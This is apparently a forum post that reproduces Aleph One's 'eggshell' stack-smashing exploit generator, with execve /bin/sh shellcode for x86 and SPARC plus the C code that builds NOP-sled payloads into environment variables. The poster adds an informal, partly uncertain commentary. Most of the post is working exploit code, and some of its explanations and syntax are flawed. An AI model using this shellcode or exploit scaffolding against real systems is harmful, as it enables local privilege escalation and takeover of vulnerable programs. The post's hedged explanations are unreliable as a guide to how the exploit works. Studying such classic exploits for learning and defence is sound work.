// shellcode.h - header file
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1 char nop[] = "\x90";
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e";
char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void)
{
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e";
char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void)
{
__asm__("or %sp, %sp, %i0");
}
#endif
I won't inline-comment this because it's fairly straightforward - because the payload is written in assembler, different payloads are required for different processor types (x86, and two SPARC variants are defined here). the program auto-detects the processor based on system variables and chooses the correct payload automatically. the NOP is the no-operation code, an assembler instruction to do nothing. in this circumstance I think it's used to overwrite anything that was previously in the memory location without interfering with operation of the shellcode (see
http://en.wikipedia.org/wiki/NOP_slide).
// eggshell.c - code file
/ * * eggshell v1.0 * * Aleph One / aleph1@underground.org */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[])
{
char *ptr, *bof, *egg; long *addr_ptr, addr; // declare a bunch of variables
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // command-line parameters default to the #define'd defaults above unless overriden
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; // as above
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) // not important - this part reads the command line parameters
switch (c)
{
case 'a': align = atoi(optarg);
break;
case 'b': bsize = atoi(optarg);
break;
case 'e': eggsize = atoi(optarg);
break;
case 'o': offset = atoi(optarg);
break; case '?': usage();
exit(0);
} // end command line reader
if (strlen(shellcode) > eggsize) // validate whether shellcode can fit in 'egg'
{
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) // allocate a buffer with a fixed length to be exploited
{
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize)) // allocate a block of memory to hold the 'egg'
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset; // I think we're missing some code here, because get_sp() is supposed to link to an asm function to get the current stack pointer
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof; // create a pointer (in addr_ptr) to the exploitable buffer
for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; // move the pointer to the very end of the buffer
ptr = egg; // put a pointer at the beginning of the egg's memory
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) // calculate length of data in the egg (shellcode + 1 NOP) to see how much needs to be filled up with NOPs
for (n = 0; n < NOP_SIZE; n++)
{
m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; // fucking math. I think this is to fill the egg up with NOPs, convoluted calculation because that interrupt code is more than 1 byte
}
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // ptr is still at the beginning of egg, this loop reads all bytes from shellcode and pushes them to egg, one by one
bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; // add null terminator (ie. end of string code) to the end of the exploitable buffer and the end of the egg
memcpy(egg,"EGG=",4); // set egg as environment variable
putenv(egg);
memcpy(bof,"BOF=",4); // set exploitable buffer as environment variable
putenv(bof);
system("/bin/sh");
}
void usage(void)
{
(void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
ok this is incomplete. if we look at
http://insecure.org/stf/smashstack.html, the exploit is meant to be run alongside vulnerable.c - this one creates the exploit code, and you are meant to pipe the output to vulnerable.c which is the program that actually has the vulnerable buffer as it's input parameter.
sorry if I fucked anything up, I'll go back and recheck later - been doing this off and on at work today